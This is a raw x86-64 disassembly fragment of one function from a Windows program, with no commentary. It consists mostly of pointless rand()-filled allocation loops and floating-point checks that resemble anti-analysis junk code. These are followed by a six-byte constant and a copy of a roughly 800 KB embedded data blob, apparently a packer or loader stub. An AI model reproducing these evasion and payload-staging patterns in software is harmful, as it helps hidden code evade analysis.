jmp 0x14000ff8c
mov dword [rsp + 0xcc108], 0x1621
mov dword [rsp + 0xcc104], 0
cmp dword [rsp + 0xcc104], 0x5a2
jge 0x140010146
mov ecx, 0x12e7c
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc0f8], rax
mov dword [rsp + 0xcc0f4], 0
cmp dword [rsp + 0xcc0f4], 0xe3
jge 0x140010104
call sub.msvcrt.dll_rand
mov ecx, 0x1c15
cdq
idiv ecx
mov rax, qword [rsp + 0xcc0f8]
movsxd rcx, dword [rsp + 0xcc0f4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3199
cdq
idiv ecx
add edx, dword [rsp + 0xcc108]
mov dword [rsp + 0xcc108], edx
mov eax, dword [rsp + 0xcc0f4]
add eax, 1
mov dword [rsp + 0xcc0f4], eax
jmp 0x1400100a2
mov rax, qword [rsp + 0xcc0f8]
mov qword [rsp + 0x3540], rax
cmp rax, 0
je 0x14001012b
mov rcx, qword [rsp + 0x3540]
call sym.operator_delete_void_
jmp 0x140010130
mov eax, dword [rsp + 0xcc104]
add eax, 1
mov dword [rsp + 0xcc104], eax
jmp 0x140010074
mov dword [rsp + 0xcc0f0], 0x139a
mov dword [rsp + 0xcc0ec], 0
cmp dword [rsp + 0xcc0ec], 0x6a5
jge 0x14001022e
mov ecx, 0x148c4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc0e0], rax
mov dword [rsp + 0xcc0dc], 0
cmp dword [rsp + 0xcc0dc], 0x1af
jge 0x1400101ec
call sub.msvcrt.dll_rand
mov ecx, 0x33ce
cdq
idiv ecx
mov rax, qword [rsp + 0xcc0e0]
movsxd rcx, dword [rsp + 0xcc0dc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3389
cdq
idiv ecx
add edx, dword [rsp + 0xcc0f0]
mov dword [rsp + 0xcc0f0], edx
mov eax, dword [rsp + 0xcc0dc]
add eax, 1
mov dword [rsp + 0xcc0dc], eax
jmp 0x14001018a
mov rax, qword [rsp + 0xcc0e0]
mov qword [rsp + 0x3538], rax
cmp rax, 0
je 0x140010213
mov rcx, qword [rsp + 0x3538]
call sym.operator_delete_void_
jmp 0x140010218
mov eax, dword [rsp + 0xcc0ec]
add eax, 1
mov dword [rsp + 0xcc0ec], eax
jmp 0x14001015c
movss xmm0, dword [0x1400ec974]
movss dword [rsp + 0xcc0d8], xmm0
movss xmm0, dword [0x1400ec970]
movss dword [rsp + 0xcc0d8], xmm0
movss xmm0, dword [rsp + 0xcc0d8]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec968]
ucomisd xmm0, xmm1
jne 0x14001038c
jp 0x14001038c
mov dword [rsp + 0xcc0d4], 0
cmp dword [rsp + 0xcc0d4], 0x856
jge 0x14001036a
mov ecx, 0x263bc
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc0c8], rax
mov dword [rsp + 0xcc0c4], 0
cmp dword [rsp + 0xcc0c4], 0x1ba
jge 0x140010328
call sub.msvcrt.dll_rand
mov ecx, 0x373e
cdq
idiv ecx
mov rax, qword [rsp + 0xcc0c8]
movsxd rcx, dword [rsp + 0xcc0c4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee320]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcc0d8]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcc0d8], xmm0
mov eax, dword [rsp + 0xcc0c4]
add eax, 1
mov dword [rsp + 0xcc0c4], eax
jmp 0x1400102ae
mov rax, qword [rsp + 0xcc0c8]
mov qword [rsp + 0x3530], rax
cmp rax, 0
je 0x14001034f
mov rcx, qword [rsp + 0x3530]
call sym.operator_delete_void_
jmp 0x140010354
mov eax, dword [rsp + 0xcc0d4]
add eax, 1
mov dword [rsp + 0xcc0d4], eax
jmp 0x140010280
movss xmm0, dword [0x1400ec97c]
movss dword [rsp + 0xcc0d8], xmm0
movss xmm0, dword [0x1400ec978]
movss dword [rsp + 0xcc0d8], xmm0
movss xmm0, dword [rsp + 0xcc0d8]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec980]
ucomisd xmm0, xmm1
jne 0x1400104c8
jp 0x1400104c8
mov dword [rsp + 0xcc0c0], 0
cmp dword [rsp + 0xcc0c0], 0xbec
jge 0x1400104a6
mov ecx, 0x12a24
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc0b8], rax
mov dword [rsp + 0xcc0b4], 0
cmp dword [rsp + 0xcc0b4], 0x21a
jge 0x140010464
call sub.msvcrt.dll_rand
mov ecx, 0x38d8
cdq
idiv ecx
mov rax, qword [rsp + 0xcc0b8]
movsxd rcx, dword [rsp + 0xcc0b4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee318]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcc0d8]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcc0d8], xmm0
mov eax, dword [rsp + 0xcc0b4]
add eax, 1
mov dword [rsp + 0xcc0b4], eax
jmp 0x1400103ea
mov rax, qword [rsp + 0xcc0b8]
mov qword [rsp + 0x3528], rax
cmp rax, 0
je 0x14001048b
mov rcx, qword [rsp + 0x3528]
call sym.operator_delete_void_
jmp 0x140010490
mov eax, dword [rsp + 0xcc0c0]
add eax, 1
mov dword [rsp + 0xcc0c0], eax
jmp 0x1400103bc
movss xmm0, dword [0x1400ec98c]
movss dword [rsp + 0xcc0d8], xmm0
movss xmm0, dword [0x1400ec988]
movss dword [rsp + 0xcc0d8], xmm0
movss xmm0, dword [rsp + 0xcc0d8]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec990]
ucomisd xmm0, xmm1
jne 0x140010604
jp 0x140010604
mov dword [rsp + 0xcc0b0], 0
cmp dword [rsp + 0xcc0b0], 0xb5b
jge 0x1400105e2
mov ecx, 0x1cfc0
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc0a8], rax
mov dword [rsp + 0xcc0a4], 0
cmp dword [rsp + 0xcc0a4], 0x1b0
jge 0x1400105a0
call sub.msvcrt.dll_rand
mov ecx, 0x1d80
cdq
idiv ecx
mov rax, qword [rsp + 0xcc0a8]
movsxd rcx, dword [rsp + 0xcc0a4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee310]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcc0d8]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcc0d8], xmm0
mov eax, dword [rsp + 0xcc0a4]
add eax, 1
mov dword [rsp + 0xcc0a4], eax
jmp 0x140010526
mov rax, qword [rsp + 0xcc0a8]
mov qword [rsp + 0x3520], rax
cmp rax, 0
je 0x1400105c7
mov rcx, qword [rsp + 0x3520]
call sym.operator_delete_void_
jmp 0x1400105cc
mov eax, dword [rsp + 0xcc0b0]
add eax, 1
mov dword [rsp + 0xcc0b0], eax
jmp 0x1400104f8
movss xmm0, dword [0x1400ec99c]
movss dword [rsp + 0xcc0d8], xmm0
movss xmm0, dword [0x1400ec998]
movss dword [rsp + 0xcc0d8], xmm0
movss xmm0, dword [rsp + 0xcc0d8]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec9a0]
ucomisd xmm0, xmm1
jne 0x140010740
jp 0x140010740
mov dword [rsp + 0xcc0a0], 0
cmp dword [rsp + 0xcc0a0], 0x170f
jge 0x14001071e
mov ecx, 0x241b4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc098], rax
mov dword [rsp + 0xcc094], 0
cmp dword [rsp + 0xcc094], 0x31f
jge 0x1400106dc
call sub.msvcrt.dll_rand
mov ecx, 0x26ee
cdq
idiv ecx
mov rax, qword [rsp + 0xcc098]
movsxd rcx, dword [rsp + 0xcc094]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee308]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcc0d8]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcc0d8], xmm0
mov eax, dword [rsp + 0xcc094]
add eax, 1
mov dword [rsp + 0xcc094], eax
jmp 0x140010662
mov rax, qword [rsp + 0xcc098]
mov qword [rsp + 0x3518], rax
cmp rax, 0
je 0x140010703
mov rcx, qword [rsp + 0x3518]
call sym.operator_delete_void_
jmp 0x140010708
movss xmm0, dword [0x1400ec9ac]
movss dword [rsp + 0xcc0d8], xmm0
movss xmm0, dword [0x1400ec9a8]
movss dword [rsp + 0xcc0d8], xmm0
cmp dword [rsp + 0xcc1b0], 0
jne 0x14001075d
cmp qword [rsp + 0xcc2a0], 0
jne 0x14001076a
mov byte [rsp + 0xcd0af], 0
jmp 0x140041671
mov byte [rsp + 0xcc062], 0xb2
mov byte [rsp + 0xcc063], 0xaf
mov byte [rsp + 0xcc064], 0x1c
mov byte [rsp + 0xcc065], 0x21
mov byte [rsp + 0xcc066], 0xf3
mov byte [rsp + 0xcc067], 0xf4
lea rax, [rsp + 0xcc062]
mov qword [rsp + 0xcc068], rax
mov qword [rsp + 0xcc070], 6
lea r8, [rsp + 0xcc060]
mov qword [rsp + 0xcd0b0], r8
mov rax, qword [rsp + 0xcd0b0]
mov qword [rsp + 0xcd200], rax
lea rcx, [rsp + 0xcc078]
lea rdx, [rsp + 0xcc068]
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_std::initializer_list_unsigned_char___std::allocator_unsigned_char__const_
jmp 0x1400107f0
lea rax, [rsp + 0xcc060]
mov qword [rsp + 0xcd0b8], rax
mov rcx, qword [rsp + 0xcd0b8]
call method.std::__new_allocator_unsigned_char_.__new_allocator__
lea rcx, [rsp + 0x6b30]
lea rdx, [0x1400ee9b0]
mov r8d, 0xc5518
call sym.memcpy
movss xmm0, dword [0x1400ec9bc]
movss dword [rsp + 0x6b2c], xmm0
movss xmm0, dword [0x1400ec9b8]
movss dword [rsp + 0x6b2c], xmm0
movss xmm0, dword [rsp + 0x6b2c]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec9b0]
ucomisd xmm0, xmm1
jne 0x140010a33
jp 0x140010a33
movss xmm0, dword [rsp + 0x6b2c]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec9c8]
ucomisd xmm0, xmm1
jne 0x140010bc4
mov al, byte [rsp + 0xcd0af]
and al, 1
movzx eax, al
add rsp, 0xcd468
ret